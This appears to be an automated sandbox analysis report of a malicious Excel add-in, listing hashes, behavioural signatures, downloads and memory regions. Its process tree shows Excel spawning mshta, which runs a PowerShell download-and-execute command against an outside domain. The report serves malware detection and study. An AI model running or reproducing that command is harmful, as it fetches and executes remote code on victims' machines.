Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-05-2024 00:11

General

  • Target

    45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll

  • Size

    12KB

  • MD5

    6c93094ce7e68105d2649782011ae102

  • SHA1

    cdcd50d7485aadd52968427808ff46dae934f8d0

  • SHA256

    45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7

  • SHA512

    237efad5fb9d8f003c74832df37d21e3c6a08385905d0e37d6313f6725a56cdac6bfd2405251e1205a7cdc299a1bd3f1a6228bc00ebaaa18582c40eb837721cb

  • SSDEEP

    192:WL29RBzDzeobchBj8JONjONnru8rEPEjr7Ahc:429jnbcvYJOk9u8vr7Cc

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4532
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1660
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4604

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\PCRE1VQT\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll

    Filesize

    12KB

    MD5

    6c93094ce7e68105d2649782011ae102

    SHA1

    cdcd50d7485aadd52968427808ff46dae934f8d0

    SHA256

    45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7

    SHA512

    237efad5fb9d8f003c74832df37d21e3c6a08385905d0e37d6313f6725a56cdac6bfd2405251e1205a7cdc299a1bd3f1a6228bc00ebaaa18582c40eb837721cb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jtg1stnc.bxh.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4532-14-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-5-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-8-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-1-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-9-0x00007FF88BDE0000-0x00007FF88BDF0000-memory.dmp

    Filesize

    64KB

  • memory/4532-4-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-3-0x00007FF8CE803000-0x00007FF8CE804000-memory.dmp

    Filesize

    4KB

  • memory/4532-11-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-12-0x00007FF88BDE0000-0x00007FF88BDF0000-memory.dmp

    Filesize

    64KB

  • memory/4532-10-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-13-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-16-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-18-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-17-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-15-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-0-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-6-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-87-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-7-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-84-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-86-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-85-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-83-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-2-0x00007FF88E7F0000-0x00007FF88E800000-memory.dmp

    Filesize

    64KB

  • memory/4532-67-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4532-66-0x00007FF8CE760000-0x00007FF8CE969000-memory.dmp

    Filesize

    2.0MB

  • memory/4604-57-0x00000000067E0000-0x000000000682C000-memory.dmp

    Filesize

    304KB

  • memory/4604-59-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

    Filesize

    104KB

  • memory/4604-58-0x0000000007FD0000-0x000000000864A000-memory.dmp

    Filesize

    6.5MB

  • memory/4604-56-0x00000000067A0000-0x00000000067BE000-memory.dmp

    Filesize

    120KB

  • memory/4604-55-0x00000000062F0000-0x0000000006647000-memory.dmp

    Filesize

    3.3MB

  • memory/4604-46-0x0000000006280000-0x00000000062E6000-memory.dmp

    Filesize

    408KB

  • memory/4604-45-0x0000000006210000-0x0000000006276000-memory.dmp

    Filesize

    408KB

  • memory/4604-44-0x0000000005910000-0x0000000005932000-memory.dmp

    Filesize

    136KB

  • memory/4604-43-0x00000000059F0000-0x000000000601A000-memory.dmp

    Filesize

    6.2MB

  • memory/4604-42-0x0000000003300000-0x0000000003336000-memory.dmp

    Filesize

    216KB